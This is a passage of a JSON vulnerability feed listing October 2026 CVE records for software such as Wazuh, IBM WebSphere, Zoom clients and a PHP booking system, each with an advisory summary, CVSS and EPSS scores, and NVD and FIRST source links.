fixes.","publishedAt":"2026-10-13T15:17:34.517Z","updatedAt":"2026-10-14T15:17:06.840Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109523","asOf":"2026-10-14T15:17:06.840Z"},"epss":{"probability":0.00318,"percentile":0.24515,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109523&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109523","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109523","type":"primary","publishedAt":"2026-10-13T15:17:34.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109523&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109523, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109522","cveId":"CVE-2026-109522","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected is an unknown function of the file...","summary":"A vulnerability has been found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected is an unknown function of the file Admin/deleteclinic.php of the component Admin CRUD Endpoint. The manipulation of the argument cid/did leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability has been found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected is an unknown function of the file Admin/deleteclinic.php of the component Admin CRUD Endpoint. The manipulation of the argument cid/did leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:34.350Z","updatedAt":"2026-10-16T22:17:19.247Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109522","asOf":"2026-10-16T22:17:19.247Z"},"epss":{"probability":0.00263,"percentile":0.17967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109522&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109522","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109522","type":"primary","publishedAt":"2026-10-13T15:17:34.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109522&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109522, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109521","cveId":"CVE-2026-109521","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown function of the file...","summary":"A vulnerability was detected in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown function of the file changebookingstatus.php. Performing a manipulation of the argument dateselected results in sql injection. The attack may be initiated remotely. The exploit is now public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was detected in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown function of the file changebookingstatus.php. Performing a manipulation of the argument dateselected results in sql injection. The attack may be initiated remotely. The exploit is now public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:34.173Z","updatedAt":"2026-10-13T19:26:24.643Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109521","asOf":"2026-10-13T19:26:24.643Z"},"epss":{"probability":0.00328,"percentile":0.25711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109521&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109521","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109521","type":"primary","publishedAt":"2026-10-13T15:17:34.173Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109521&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109521, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108185","cveId":"CVE-2026-108185","aliases":[],"kind":"vulnerability","title":"Improper certificate validation in the My Notes feature of certain Zoom Clients may allow an unauthenticated user to conduct an information disclosure via network access.","summary":"Improper certificate validation in the My Notes feature of certain Zoom Clients may allow an unauthenticated user to conduct an information disclosure via network access.","detail":"Improper certificate validation in the My Notes feature of certain Zoom Clients may allow an unauthenticated user to conduct an information disclosure via network access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:32.157Z","updatedAt":"2026-10-15T20:17:06.757Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108185","asOf":"2026-10-15T20:17:06.757Z"},"epss":{"probability":0.00211,"percentile":0.11286,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108185&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108185","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108185","type":"primary","publishedAt":"2026-10-13T15:17:32.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108185&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108185, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108184","cveId":"CVE-2026-108184","aliases":[],"kind":"vulnerability","title":"Improper certificate validation in certain Zoom Clients for Windows may allow an unauthenticated user to conduct an information disclosure via network access.","summary":"Improper certificate validation in certain Zoom Clients for Windows may allow an unauthenticated user to conduct an information disclosure via network access.","detail":"Improper certificate validation in certain Zoom Clients for Windows may allow an unauthenticated user to conduct an information disclosure via network access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:32.033Z","updatedAt":"2026-10-15T20:17:06.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108184","asOf":"2026-10-15T20:17:06.640Z"},"epss":{"probability":0.00204,"percentile":0.10312,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108184&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108184","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108184","type":"primary","publishedAt":"2026-10-13T15:17:32.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108184&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108184, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102250","cveId":"CVE-2026-102250","aliases":[],"kind":"vulnerability","title":"CWE-345: Insufficient Verification of Data Authenticity vulnerability exists that could allow modified firmware to be uploaded when an authorized admin user begins a firmware...","summary":"CWE-345: Insufficient Verification of Data Authenticity vulnerability exists that could allow modified firmware to be uploaded when an authorized admin user begins a firmware update procedure which could result in control over the device.","detail":"CWE-345: Insufficient Verification of Data Authenticity vulnerability exists that could allow modified firmware to be uploaded when an authorized admin user begins a firmware update procedure which could result in control over the device.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:29.940Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102250","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00152,"percentile":0.04303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102250&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102250","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102250","type":"primary","publishedAt":"2026-10-13T15:17:29.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102250&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102250, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95680","cveId":"CVE-2026-95680","aliases":[],"kind":"vulnerability","title":"IBM WebSphere Application Server 8.5, and 9.0 could allow an authenticated attacker to bypass authorization leading to administrative impersonation across the cell.","summary":"IBM WebSphere Application Server 8.5, and 9.0 could allow an authenticated attacker to bypass authorization leading to administrative impersonation across the cell.","detail":"IBM WebSphere Application Server 8.5, and 9.0 could allow an authenticated attacker to bypass authorization leading to administrative impersonation across the cell.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:45.437Z","updatedAt":"2026-10-14T04:18:56.147Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95680","asOf":"2026-10-14T04:18:56.147Z"},"epss":{"probability":0.00177,"percentile":0.07202,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95680&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95680","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95680","type":"primary","publishedAt":"2026-10-13T14:17:45.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95680&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95680, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93907","cveId":"CVE-2026-93907","aliases":[],"kind":"vulnerability","title":"IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass authentication by exploiting a flaw in the CSIv2 inbound propagation handler.","summary":"IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass authentication by exploiting a flaw in the CSIv2 inbound propagation handler.","detail":"IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass authentication by exploiting a flaw in the CSIv2 inbound propagation handler.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:45.277Z","updatedAt":"2026-10-14T04:18:55.153Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93907","asOf":"2026-10-14T04:18:55.153Z"},"epss":{"probability":0.0034,"percentile":0.27283,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93907&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93907","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93907","type":"primary","publishedAt":"2026-10-13T14:17:45.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93907&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93907, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74047","cveId":"CVE-2026-74047","aliases":[],"kind":"vulnerability","title":"Wazuh from 4.0.0 before 4.14.8 contains an information disclosure vulnerability that allows low-privileged users with agent:read to retrieve the plaintext authd.pass enrollment...","summary":"Wazuh from 4.0.0 before 4.14.8 contains an information disclosure vulnerability that allows low-privileged users with agent:read to retrieve the plaintext authd.pass enrollment password via the unmasked agent configuration endpoint. Attackers holding the default readonly role can request the auth component configuration for pseudo-agent ID 000 to obtain the secret and enroll rogue agents against the manager.","detail":"Wazuh from 4.0.0 before 4.14.8 contains an information disclosure vulnerability that allows low-privileged users with agent:read to retrieve the plaintext authd.pass enrollment password via the unmasked agent configuration endpoint. Attackers holding the default readonly role can request the auth component configuration for pseudo-agent ID 000 to obtain the secret and enroll rogue agents against the manager.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:41.317Z","updatedAt":"2026-10-18T13:16:39.903Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74047","asOf":"2026-10-18T13:16:39.903Z"},"epss":{"probability":0.00325,"percentile":0.25286,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-74047&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74047","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74047","type":"primary","publishedAt":"2026-10-13T14:17:41.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-74047&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-74047, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74045","cveId":"CVE-2026-74045","aliases":[],"kind":"vulnerability","title":"Wazuh from 3.12.0 before 4.14.8 contains a heap buffer overflow in fim_generate_alert() where full_log is sized from input but written bounded by OS_MAXSTR.","summary":"Wazuh from 3.12.0 before 4.14.8 contains a heap buffer overflow in fim_generate_alert() where full_log is sized from input but written bounded by OS_MAXSTR. An enrolled agent can send a crafted FIM syscheck event to corrupt manager heap memory and deterministically crash wazuh-analysisd, causing a fleet-wide detection outage.","detail":"Wazuh from 3.12.0 before 4.14.8 contains a heap buffer overflow in fim_generate_alert() where full_log is sized from input but written bounded by OS_MAXSTR. An enrolled agent can send a crafted FIM syscheck event to corrupt manager heap memory and deterministically crash wazuh-analysisd, causing a fleet-wide detection outage.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:41.160Z","updatedAt":"2026-10-15T15:49:21.457Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74045","asOf":"2026-10-15T15:49:21.457Z"},"epss":{"probability":0.00341,"percentile":0.27332,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-74045&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74045","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74045","type":"primary","publishedAt":"2026-10-13T14:17:41.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-74045&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-74045, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74043","cveId":"CVE-2026-74043","aliases":[],"kind":"vulnerability","title":"Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in upload_list_file, upload_rule_file, and upload_decoder_file that allows malicious cluster workers to...","summary":"Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in upload_list_file, upload_rule_file, and upload_decoder_file that allows malicious cluster workers to write files at arbitrary paths. Attackers holding the cluster key can send DistributedAPI requests with ../ sequences in filename, bypassing REST controller validation, to write files as the wazuh user.","detail":"Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in upload_list_file, upload_rule_file, and upload_decoder_file that allows malicious cluster workers to write files at arbitrary paths. Attackers holding the cluster key can send DistributedAPI requests with ../ sequences in filename, bypassing REST controller validation, to write files as the wazuh user.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:41.003Z","updatedAt":"2026-10-13T20:39:48.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74043","asOf":"2026-10-13T20:39:48.767Z"},"epss":{"probability":0.00363,"percentile":0.2985,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-74043&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74043","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74043","type":"primary","publishedAt":"2026-10-13T14:17:41.003Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-74043&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-74043, scored 2026-10-25. This is a model estimate, not proof of 